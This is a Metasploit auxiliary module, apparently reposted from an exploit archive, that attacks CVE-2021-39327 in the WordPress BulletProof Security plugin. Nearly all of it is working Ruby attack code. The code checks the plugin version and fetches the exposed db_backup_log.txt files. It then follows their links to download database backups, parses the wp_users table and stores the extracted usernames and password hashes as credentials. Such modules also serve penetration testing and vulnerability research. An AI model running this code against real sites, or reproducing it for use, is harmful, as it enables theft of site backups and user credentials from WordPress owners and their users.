Share
## https://sploitus.com/exploit?id=PACKETSTORM:181113
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'rex/zip'  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HTTP::Wordpress  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Wordpress BulletProof Security Backup Disclosure',  
'Description' => %q{  
The Wordpress plugin BulletProof Security, versions <= 5.1, suffers from an information disclosure  
vulnerability, in that the db_backup_log.txt is publicly accessible. If the backup functionality  
is being utilized, this file will disclose where the backup files can be downloaded.  
After downloading the backup file, it will be parsed to grab all user credentials.  
},  
'Author' => [  
'Ron Jost (Hacker5preme)', # EDB module/discovery  
'h00die' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' => [  
['EDB', '50382'],  
['CVE', '2021-39327'],  
['PACKETSTORM', '164420'],  
['URL', 'https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-39327/README.md']  
],  
'Privileged' => false,  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'DisclosureDate' => '2021-09-17',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
end  
  
def parse_sqldump_fields(line)  
# pull all fields  
line =~ /\((.+)\)/  
return nil if Regexp.last_match(1).nil?  
  
fields = line.split(',')  
# strip each field  
fields.collect { |e| e ? e.strip : e }  
end  
  
def parse_sqldump(content, ip)  
read_next_line = false  
login = nil  
hash = nil  
content.each_line do |line|  
if read_next_line  
print_status("Found user line: #{line.strip}")  
fields = parse_sqldump_fields(line)  
username = fields[login].strip[1...-1] # remove quotes  
password = fields[hash].strip[1...-1] # remove quotes  
print_good(" Extracted user content: #{username} -> #{password}")  
read_next_line = false  
create_credential({  
workspace_id: myworkspace_id,  
origin_type: :service,  
module_fullname: fullname,  
username: username,  
private_type: :nonreplayable_hash,  
jtr_format: Metasploit::Framework::Hashes.identify_hash(password),  
private_data: password,  
service_name: 'Wordpress',  
address: ip,  
port: datastore['RPORT'],  
protocol: 'tcp',  
status: Metasploit::Model::Login::Status::UNTRIED  
})  
end  
# INSERT INTO `wp_users` ( ID, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name )  
next unless line.start_with?('INSERT INTO `wp_users`')  
  
read_next_line = true  
# process insert statement to find the fields we want  
next unless hash.nil?  
  
fields = parse_sqldump_fields(line)  
login = fields.index('user_login')  
hash = fields.index('user_pass')  
end  
end  
  
def parse_log(content, ip)  
base = nil  
file = nil  
content.each_line do |line|  
if line.include? 'DB Backup File Download Link|URL: '  
base = line.split(': ').last  
base = base.split('/')  
base = base[3, base.length] # strip off anything before the URI  
base = "/#{base.join('/')}".strip  
end  
if line.include? 'Zip Backup File Name: '  
file = line.split(': ').last  
file = file.split('/').last.strip  
end  
  
next if base.nil? || file.nil?  
  
vprint_status("Pulling: #{base}#{file}")  
res = send_request_cgi({  
'uri' => normalize_uri("#{base}#{file}")  
})  
base = nil  
next unless res && res.code == 200  
  
p = store_loot(file, 'application/zip', rhost, res.body, file)  
print_good("Stored DB Backup #{file} to #{p}, size: #{res.body.length}")  
Zip::File.open(p) do |zip_file|  
zip_file.each do |inner_file|  
is = inner_file.get_input_stream  
sqldump = is.read  
is.close  
parse_sqldump(sqldump, ip)  
end  
end  
end  
end  
  
def run_host(ip)  
vprint_status('Checking if target is online and running Wordpress...')  
fail_with(Failure::BadConfig, 'The target is not online and running Wordpress') unless wordpress_and_online?  
vprint_status('Checking plugin installed and vulnerable')  
checkcode = check_plugin_version_from_readme('bulletproof-security', '5.2')  
fail_with(Failure::BadConfig, 'The target is not running a vulnerable bulletproof-security version') if checkcode == Exploit::CheckCode::Safe  
print_status('Requesting Backup files')  
['/wp-content/bps-backup/logs/db_backup_log.txt', '/wp-content/plugins/bulletproof-security/admin/htaccess/db_backup_log.txt'].each do |url|  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, url)  
})  
  
# <65 in length will be just the banner, like:  
# BPS DB BACKUP LOG  
# ==================  
# ==================  
unless res && res.code == 200 && res.body.length > 65  
print_error("#{url} not found on server or no data")  
next  
end  
filename = url.split('/').last  
p = store_loot(filename, 'text/plain', rhost, res.body, filename)  
print_good("Stored #{filename} to #{p}, size: #{res.body.length}")  
parse_log(res.body, ip)  
end  
end  
end